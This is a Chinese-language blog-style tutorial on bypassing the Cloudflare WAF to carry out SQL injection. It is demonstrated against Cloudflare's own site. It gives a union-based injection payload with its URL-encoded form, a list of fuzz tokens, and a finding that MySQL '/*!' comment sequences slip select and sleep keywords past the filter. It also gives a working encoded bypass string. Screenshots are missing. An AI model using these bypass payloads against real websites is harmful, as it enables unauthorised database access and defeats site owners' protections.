最近CD WAF 免费了 估计以后会有很多网站布置一下

https://blog.cloudflare.com/waf-for-everyone/

image.png

bypass cd waf

这里以官网为演示

4241adeac1093ac3ca9e65730730c20.jpg

注入点检测绕过

Bypass WAF的第一步是识别注入点,我们拿到一个URL,第一步判断参数是否有注入,然后再进行后续的绕过。简单的and 1=1 and 1=2判断肯定会被WAF拦截,我们需转变思路进行绕过,一般WAF为了平衡风险和业务的关系不会对下面数字型探测方式进行拦截,否则会产生大量误报影响正常业务运行。
image.png
image.png
image.png

如若 and也会拦截,可以直接在参数上进行类似判断操作,如id=10 、id=12,除了以上方法,还有很多其它衍生出的识别绕过方法,以{``op}为例作演示,其它的方法大家可以按照这种思路自行发挥

payload:

  1. 1' union--
  2. --
  3. #
  4. fuzz_a + fuzz_b + fuzz_c + fuzz_d + fuzz_e
  5. select 1

url编码后

  1. 1%27+union%2d%2d%0d%0a%0a%0a%2d%2d%0a%23 + fuzz_a + fuzz_b + fuzz_c + fuzz_d + fuzz_e + %0aselect%201

fuzz参数

  1. /*
  2. */
  3. /*!
  4. /**/
  5. ?
  6. /
  7. *
  8. =
  9. `
  10. 1
  11. 2
  12. 3
  13. 4
  14. 5
  15. 6
  16. 7
  17. 8
  18. 9
  19. 0
  20. %0a
  21. %0b
  22. %0c
  23. %0d
  24. %0e
  25. %0f

我们可以尝试对这五个位置进行简单的FUZZ

image.png
image.png
image.png

发现五个/*!即可绕过过滤页面

image.png

不断减少/*!,发现一个也可以达到这样的效果

image.png

在mysql中执行情况
image.png

随后可以用脚本生成一下字典

image.png

这个字典很大,我只截取前一部分内容作为测试

image.png

image.png

发现可以用个这些方式进入绕过关键字过滤

比如select和sleep在前面加上%27+union%2d%2d%0d%0a%0a%0a%2d%2d%0a%23////!//%0aselect%201**

image.png

总结

可以随着多种多样的FUZZ的手段进行绕过